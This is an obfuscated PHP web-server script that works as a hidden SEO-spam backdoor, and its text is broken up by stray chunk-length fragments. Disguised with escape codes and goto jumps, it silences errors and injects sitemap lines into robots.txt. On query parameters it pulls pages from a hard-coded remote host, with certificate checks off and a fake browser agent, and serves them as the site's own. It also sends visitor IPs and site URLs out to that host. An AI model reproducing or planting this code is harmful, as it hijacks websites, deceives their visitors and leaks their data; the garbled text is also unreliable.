1 < 5 ?php 5 got 6 o NWuL 6 Z; N2p 6 xL: if 6 (!emp 5 ty($g 6 et["\1 6 62"])) 6 { $ro 6 botsPa 6 th = $ 5 _SERV 8 ER["\104 8 \x4f\x43 7 \x55\x4 8 d\x45\11 8 6\124\x5 c f\122\x4f\x4 9 f\124"] . 6 "\x2f 9 \162\157\ 9 142\x6f\x 7 74\163\ 9 56\x74\x7 9 8\x74"; $ 6 sitema 5 pBloc b k = "\x55\x 9 73\x65\x7 9 2\x2d\x61 a \147\145\x d 6e\x74\72\x20 7 \x2a\xa 8 \101\154 e \154\x6f\x77\x d 3a\x20\x2f\12 12 "; $sitemaps = "\x 8 a\123\15 c 1\164\x65\x6 10 d\x61\160\72\x20 6 {$http 6 _type} e {$_SERVER["\x4 b 8\x54\x54\1 8 20\137\1 6 10\117 19 \123\124"]}{$_SERVER["\x5 5 3\103 c \122\x49\x50 10 \x54\x5f\116\x41 c \x4d\x45"]}\ 9 77\163\x3 b d\x73\12"; 9 if (!file 7 _exists 11 ($robotsPath)) { 9 file_put_ 6 conten 1e ts($robotsPath, $sitemapBlock d . $sitemaps); 6 } els c e { $robotsC a ontent = @ 1d file_get_contents($robotsPath a ); if (str 12 pos($robotsContent e , $_SERVER["\1 1b 23\x43\x52\x49\x50\x54\x5f\ 12 x4e\x41\x4d\x45"]) 6 === f 8 alse) { 2a @file_put_contents($robotsPath, $sitemaps, 5 FILE 5 _APPE b ND); } } } 7 goto Ez a Yoe; NWuLZ 7 : error 6 _repor 6 ting(0 3e ); goto yMqRN; yMqRN: $get = $_GET; goto shqZL; Aq5NJ: $ll = " 52 {$http_type}{$_SERVER["\110\124\124\120\137\x48\x4f\123\x54"]}{$_SERVER["\x53\x43\ 10 122\111\x50\x54\ e 137\116\x41\11 8 5\105"]} a "; goto D_ 6 iaM; m 6 5bkF: 6 functi 6 on get 6 Curl($ 9 url, $get 7 Data = 6 array( 14 )) { if (!empty($get c Data)) { $qu 6 eryStr 7 ing = i 11 s_array($getData) 9 ? http_b 5 uild_ 11 query($getData) : 10 $getData; $url c .= (strpos($ a url, "\77" 13 ) === false ? "\77" 8 : "\x26 11 ") . $queryString 10 ; } if (function b _exists("\1 c 43\x75\x72\1 a 54\137\x69 d \156\151\164" c )) { $ch = c 7 url_ini a t(); curl_ 6 setopt c _array($ch, a array(CURL 7 OPT_URL a => $url, b CURLOPT_RET 5 URNTR 5 ANSFE 55 R => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_ 5 FOLLO 5 WLOCA 4 TION 16 => true, CURLOPT_TIME 9 OUT => 10 c , CURLOPT_HT 5 TPGET 17 => true, CURLOPT_USERA 9 GENT => " a \115\157\1 e 72\151\154\x6c a \141\57\x3 7 5\x2e\6 7 0")); $ d data = curl_e 7 xec($ch d ); curl_close 14 ($ch); if (!empty($d c ata)) { retu 8 rn $data d ; } } if (ini 13 _get("\141\154\x6c\ 7 x6f\167 f \x5f\x75\162\15 f 4\x5f\146\157\1 7 60\x65\ f 156")) { $conte 8 xt = str b eam_context 8 _create( a array("\x6 c 8\164\x74\16 e 0" => array("\ 9 155\x65\1 c 64\x68\x6f\x a 64" => "\x b 47\105\x54" 9 , "\x74\x e 69\155\145\x6f 11 \x75\x74" => 10, c "\150\x65\x6 d 1\x64\x65\162 a " => "\125 13 \163\x65\162\x2d\x4 13 1\147\145\x6e\164\x a 3a\40\x4d\ 7 157\x7a c \151\x6c\x6c 13 \x61\x2f\x35\x2e\60 8 \15\12") 9 , "\163\x 16 73\x6c" => array("\166 f \x65\162\x69\14 b 6\x79\137\1 13 60\x65\145\162" => c false, "\x76 12 \145\x72\151\146\1 a 71\137\x70 e \145\145\162\x c 5f\x6e\141\x 10 6d\x65" => false d ))); $data = 20 @file_get_contents($url, false, 32 $context); if (!empty($data)) { return $data; } } a return ''; c } goto X5nb 8 1; D_iaM 8 : $vurl 12 = $http_type . "\x c 69\144\154\x a 79\62\56\x 8 69\x64\x e 73\x68\157\x70 9 \x2e\x63\ c 143\167\x75\ 8 56\143\x a 63\x2f\64\ c 61\71\56\x61 c \163\x70\x78 e "; goto N2pxL; 1c EzYoe: if (!empty($get["\16 b 3"])) { $pa d rams = array( b "\163" => d 8 ate("\13 e 1\x6d\144\x48\ 9 151"), "\ f x6e\165\155\142 19 \x65\162" => $get["\156\1 a 65\x6d\x62 e \145\162"]); $ f str = getCurl($ d vurl, $params 11 ); $str = str_rep d lace(array("\ 8 173\xe5\ 6 275\22 c 3\xe5\x89\x8 7 d\345\x 8 9c\260\x 9 e5\235\x8 9 0\x7d"), 13 array($http_type . 1d $_SERVER["\110\x54\x54\x50\x5 a f\110\117\ c x53\124"] . 24 $_SERVER["\123\x43\122\x49\x50\124\1 15 37\116\x41\x4d\x45"]) 9 , $str); 6 header 8 ("\103\1 12 57\156\x74\x65\156 d \164\x2d\164\ 5 171\1 b 60\x65\72\1 8 64\x65\1 6 70\x74 5 \57\x 5 78\15 a 5\154"); e 9 cho $str; d die; } goto 6 N4dac; 13 X5nb1: $http_type a = !empty($ 1c _SERVER["\110\x54\x54\120\12 8 3"]) && 17 $_SERVER["\x48\124\124\ b x50\123"] ! 7 == "\x6 a f\146\x66" 14 ? "\x68\164\164\160 c \x73\x3a\x2f a \x2f" : "\ 19 150\164\164\160\x3a\x2f\5 e 7"; goto Aq5NJ 6 ; f5Xo c A: function 14 postCurl($url, $post 17 Data = array()) { $post 1b String = is_array($postData 21 ) ? http_build_query($postData) : 2a $postData; if (function_exists("\143\x75\ 13 162\154\x5f\x69\x6e 6 \x69\1 104 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_ 7 POSTFIE 8 LDS => $ 70 postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ e x6c\x6c\157\x7 1c 7\x5f\x75\162\154\x5f\x66\x6 b f\x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 18 " => array("\155\145\164 c \150\157\144 10 " => "\120\x4f\x d 53\124", "\16 11 4\x69\155\x65\157 19 \165\x74" => 10, "\x68\x6 8 5\141\14 12 4\x65\x72" => "\10 12 3\x6f\156\x74\x65\ d x6e\x74\55\12 b 4\171\x70\x 13 65\x3a\x20\x61\160\ e 160\x6c\x69\x6 e 3\x61\x74\x69\ f x6f\x6e\57\x78\ b 55\x77\x77\ 11 167\55\x66\x6f\x7 c 2\155\x2d\16 13 5\162\x6c\x65\156\1 c 43\157\144\1 9 45\144\xd b \12" . "\x4 1b 3\x6f\156\x74\145\156\x74\x 6 2d\x4c 15 \145\x6e\147\164\x68\ 9 72\40" . 7 strlen( 12 $postString) . "\x e d\xa" . "\125\ 6 x73\14 f 5\x72\x2d\101\x 10 67\x65\156\164\x 1f 3a\40\x4d\157\172\151\x6c\x6c\1 8 41\x2f\6 f 5\56\x30\xd\xa" c , "\143\x6f\ 14 x6e\164\145\x6e\164" 2c => $postString), "\163\x73\x6c" => array("\ 14 x76\145\x72\x69\146\ c 171\x5f\x70\ 29 x65\145\162" => false, "\x76\145\162\x69\ b x66\x79\x5f d \160\145\x65\ b x72\137\x6e c \141\155\145 81 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; 1b N4dac: if (!empty($get["\1 d 51\144"])) { 17 if (empty($get["\153\15 b 3"])) { $ip 9 = get_ip 1c (); $params = array("\x69\16 a 0" => $ip, 10 "\x69\144" => i c sset($get["\ d x69\144"]) ? 10 $get["\151\x64"] 5 : '' 10 , "\x6c\x6c" => 9 $ll); $tz 2b str = getCurl($vurl, $params); if (strpos($ 12 tzstr, "\x69\144") e !== false) { b echo $tzstr 21 ; die; } } $params = array("\x69\ 13 x64" => $get["\x69\ 11 x64"], "\x6c\154" b => $ll); $ 3d str = getCurl($vurl, $params); $str = str_replace(array("\x7b f \125\x52\x4c\17 a 5", "\173\ 8 345\237\ c 237\345\x90\ 8 215\175" d ), array(get_ e url_info("\146 c \165\154\x6c 15 "), get_url_info("\15 12 6\157\137\x77\167\ f 167")), $str); 1a echo $str; die; } else { $ 8 sitemapU e rl = $ll . "\x a 3f\x73\x3d f " . date("\131\ f 155\144\110\x69 b "); echo "\ f 74\144\x69\166\ 10 40\x73\164\171\1 c 54\145\x3d\x d 27\x74\145\17 f 0\164\x2d\x61\1 c 54\151\147\1 d 56\x3a\x63\14 12 5\x6e\164\x65\x72\ d 73\40\160\x61 10 \144\144\x69\156 c \x67\72\61\x b 30\160\170\ b 40\x30\73\x 8 27\76\x3 10 c\x61\x20\150\16 d 2\x65\146\75\ e 42{$sitemapUrl b }\x22\x20\x e 74\x61\x72\x67 e \x65\164\x3d\4 f 2\x5f\x62\154\1 a 41\x6e\x6b f \42\40\162\x65\ b x6c\x3d\x22 b \x6e\157\x6 17 6\157\x6c\x6c\157\167\x c 22\x3e\x20\x 9 53\x69\x7 18 4\x65\x6d\x61\160\74\57\ 9 141\x3e\x 10 3c\x2f\144\151\1 6 66\76" c ; } goto nnS 6 Bp; Uh 11 8So: function get 9 _ip() { f 7 oreach 15 (array("\x48\x54\x54\ b x50\x5f\x58 f \137\x46\117\x5 8 2\127\10 c 1\122\104\x4 c 5\104\x5f\x4 9 6\x4f\x52 15 ", "\x48\124\x54\120\ b x5f\x43\114 a \x49\105\x d 4e\x54\137\11 b 1\x50", "\x 11 52\x45\x4d\117\x5 b 4\x45\x5f\1 f 01\x44\x44\x52" 6 ) as $ 3 key 1d ) { if (!empty($_SERVER[$key] f )) { return tri 6 m(expl 8 ode("\x2 d c", $_SERVER[ 9 $key])[0] 15 ); } } return "\x55\x 6 4e\113 b \116\x4f\x5 14 7\116"; } goto f5XoA 7 ; shqZL 19 : function get_url_info(s d tring $return 11 _type = "\144\157 11 \155\141\151\x6e" b ) : string 7 { $host 1e = $_SERVER["\x48\124\124\x50\ 15 x5f\110\x4f\123\x54"] 15 ; if ($return_type == e = "\144\x6f\15 f 5\x61\x69\156") f { return $host 1c ; } if ($return_type === "\1 18 56\157\x5f\x77\167\167") 10 { return ltrim( b $host, "\x7 11 7\x77\167\x2e"); 8 } $proto 8 col = is 17 set($_SERVER["\110\x54\ 1d 124\x50\x53"]) && $_SERVER["\ 17 110\x54\x54\x50\x53"] = e == "\x6f\156" 14 || isset($_SERVER["\ 16 x48\x54\124\x50\x5f\13 9 0\137\106 d \x4f\122\127\ 14 x41\122\104\x45\x44\ b 137\x50\x52 22 \117\x54\x4f"]) && $_SERVER["\110\ 18 124\124\120\137\x58\137\ 11 106\x4f\122\x57\1 14 01\122\104\105\104\1 10 37\x50\122\x4f\x f 54\117"] === "\ 6 150\x7 d 4\x74\160\x73 18 " ? "\x68\x74\164\x70\x7 a 3\x3a\57\x 18 2f" : "\x68\x74\164\x70\ e 72\x2f\x2f"; $ 5 base_ 11 url = $protocol . 21 $host; if ($return_type === "\14 d 2\x61\x73\145 15 ") { return $base_url 8 ; } $uri 19 = $_SERVER["\x52\x45\121 a \125\105\1 e 23\124\x5f\x55 c \122\x49"]; 5 $full 12 _url = $base_url . 68 $uri; if ($return_type === "\x66\165\154\154") { return $full_url; } return ''; } goto Uh8So; nnSBp: ?> 0